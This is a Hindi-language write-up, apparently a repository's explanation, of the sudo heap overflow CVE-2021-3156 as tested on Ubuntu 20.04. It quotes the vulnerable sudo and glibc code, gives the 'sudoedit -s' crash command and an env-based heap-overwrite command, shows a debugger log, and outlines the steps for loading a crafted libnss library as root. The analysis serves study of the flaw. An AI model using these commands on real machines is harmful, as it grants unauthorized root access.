
शैक्षिक शोषण कार्यान्वयन और CVE-2021-3156 का विश्लेषण, sudo के set_cmnd() फ़ंक्शन में हीप-आधारित बफर ओवरफ़्लो, जो क्राफ्टेड कमांड-लाइन आर्गुमेंट्स के माध्यम से रूट तक विशेषाधिकार वृद्धि को सक्षम करता है।
इस दस्तावेज़ में हम उस सभी ज्ञान को शामिल करते हैं जो इस रिपॉजिटरी के कोड को समझने और यह क्यों काम करता है, इसे समझने के लिए आवश्यक है। सभी स्पष्टीकरण QUALYS द्वारा बनाई गई रिपोर्ट पर आधारित है। इसमें शोषण के अन्य रूपों की व्याख्या की गई है।
sudo के संवेदनशील संस्करण 1.8.2 से 1.8.31p2 तक के लीगेसी संस्करण और 1.9.0 से 1.9.5p1 तक के सभी स्थिर संस्करण हैं, उनके डिफ़ॉल्ट कॉन्फ़िगरेशन में।
यह रिपॉजिटरी उबंटू 20.04 (sudo 1.8.31) पर परीक्षण की गई है। इसमें हम रूट विशेषाधिकारों के साथ एक टर्मिनल खोलते हैं।
यदि Sudo को शेल मोड में एक कमांड चलाने के लिए निष्पादित किया जाता है:
-s विकल्प के माध्यम से, जो sudo के MODE_SHELL फ़्लैग सेट करता है।-i विकल्प के माध्यम से, जो sudo के MODE_SHELL और MODE_LOGIN_SHELL फ़्लैग सेट करता है।फिर sudo के main() की शुरुआत में, parse_args() सभी कमांड-लाइन तर्कों को जोड़कर और सभी मेटा-कैरेक्टर को बैकस्लैश से एस्केप करके argv को फिर से लिखता है।
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* संभावित मेटा कैरेक्टर को कोट करें */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* प्लगइन शेल को ओवरराइड कर सकता है */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
बाद में, sudoers_policy_main() में, set_cmnd() कमांड-लाइन तर्कों को एक हीप-आधारित बफर user_args में जोड़ता है और मेटा-कैरेक्टर को अनएस्केप करता है, "sudoers मिलान और लॉगिंग उद्देश्यों के लिए":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
यदि कोई कमांड-लाइन तर्क एक एकल बैकस्लैश वर्ण के साथ समाप्त होता है, तो:
from[0] बैकस्लैश वर्ण है और from[1] नल टर्मिनेटर हैfrom को बढ़ाया जाता है और यह नल टर्मिनेटर की ओर इशारा करता हैuser_args बफर में कॉपी किया जाता है और from को फिर से बढ़ाया जाता है और यह सीमा से बाहर इशारा करता हैuser_args बफर में कॉपी करता है।दूसरे शब्दों में, set_cmnd() एक हीप-आधारित बफर ओवरफ्लो के लिए संवेदनशील है, क्योंकि जो बाउंड से बाहर के वर्ण user_args बफर में कॉपी किए जाते हैं, वे इसके आकार में शामिल नहीं थे।
हालांकि, सिद्धांत रूप में, कोई भी कमांड-लाइन तर्क एक एकल बैकस्लैश वर्ण के साथ समाप्त नहीं हो सकता है: यदि MODE_SHELL या MODE_LOGIN_SHELL सेट है (संवेदनशील कोड तक पहुँचने के लिए एक आवश्यक शर्त), तो MODE_SHELL सेट है और parse_args() ने पहले से ही सभी मेटा-कैरेक्टर को एस्केप किया है, जिसमें बैकस्लैश भी शामिल है (अर्थात, इसने प्रत्येक बैकस्लैश को दूसरे बैकस्लैश से एस्केप किया है)।
व्यवहार में, हालांकि, set_cmnd() में संवेदनशील कोड और parse_args() में एस्केप कोड थोड़े अलग स्थितियों से घिरे हुए हैं:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
बनाम:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
हमारा प्रश्न, फिर, यह है: क्या हम MODE_SHELL और या तो MODE_EDIT या MODE_CHECK सेट कर सकते हैं (संवेदनशील कोड तक पहुँचने के लिए) लेकिन डिफ़ॉल्ट MODE_RUN नहीं (एस्केप कोड से बचने के लिए)?
इसका उत्तर, ऐसा प्रतीत होता है, नहीं है: यदि हम MODE_EDIT (-e विकल्प) या MODE_CHECK (-l विकल्प) सेट करते हैं, तो parse_args() valid_flags से MODE_SHELL हटा देता है और यदि हम कोई अमान्य फ़्लैग निर्दिष्ट करते हैं (जैसे MODE_SHELL), तो एक त्रुटि के साथ बाहर निकलता है:
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
लेकिन हमें एक खामी मिली: यदि हम Sudo को sudoedit के रूप में निष्पादित करते हैं न कि sudo के रूप में, तो parse_args() स्वचालित रूप से MODE_EDIT सेट करता है लेकिन valid_flags को रीसेट नहीं करता है, और valid_flags में डिफ़ॉल्ट रूप से MODE_SHELL शामिल है:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
परिणामस्वरूप, यदि हम "sudoedit -s" निष्पादित करते हैं, तो हम दोनों MODE_EDIT और MODE_SHELL सेट करते हैं (लेकिन MODE_RUN नहीं), हम एस्केप कोड से बचते हैं, संवेदनशील कोड तक पहुँचते हैं, और एक कमांड-लाइन तर्क के माध्यम से हीप-आधारित बफर user_args को ओवरफ्लो करते हैं जो एक एकल बैकस्लैश वर्ण के साथ समाप्त होता है:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
एक हमलावर के दृष्टिकोण से, यह बफर ओवरफ्लो आदर्श है:
user_args बफर के आकार को नियंत्रित करते हैं जिसे हम ओवरफ्लो करते हैं (हमारे संयोजित कमांड-लाइन तर्कों का आकार);user_args में एक नल बाइट लिखता है)।उदाहरण के लिए, amd64 Linux पर, निम्न कमांड 24-बाइट user_args बफर (32-बाइट हीप चंक) आवंटित करता है और अगले चंक के size फ़ील्ड को "A=a\0B=b\0" (0x00623d4200613d41), इसके fd फ़ील्ड को "C=c\0D=d\0" (0x00643d4400633d43), और इसके bk फ़ील्ड को "E=e\0F=f\0" (0x00663d4600653d45) से अधिलेखित करता है:
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
क्रैश करने वाला फ़ंक्शन glibc से nss_load_library() है (लाइन 344 पर) क्योंकि पॉइंटर library अधिलेखित हो गया था।
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* शेयर्ड लाइब्रेरी लोड करें। */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* शेयर्ड ऑब्जेक्ट नाम बनाएँ। */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
इस क्रैश का शोषण करने के चरण निम्नलिखित हैं:
ni->library को NULL से अधिलेखित करें। यह कोड को if क्लॉज़ में प्रवेश कराएगा और लाइब्रेरी की पार्सिंग और लोडिंग शुरू करेगा।ni->name को "X/X" से अधिलेखित करें। यह मूल रूप से "systemd" रखता है।__strcpy लाइनें "libnss_systemd.so.2" के बजाय "libnss_X/X.so.2" को पार्स करेंगी।"libnss_X/X.so.2" को रूट के रूप में लोड कर रहे हैं। इसमें हम रूट के रूप में जो चाहें कर सकते हैं।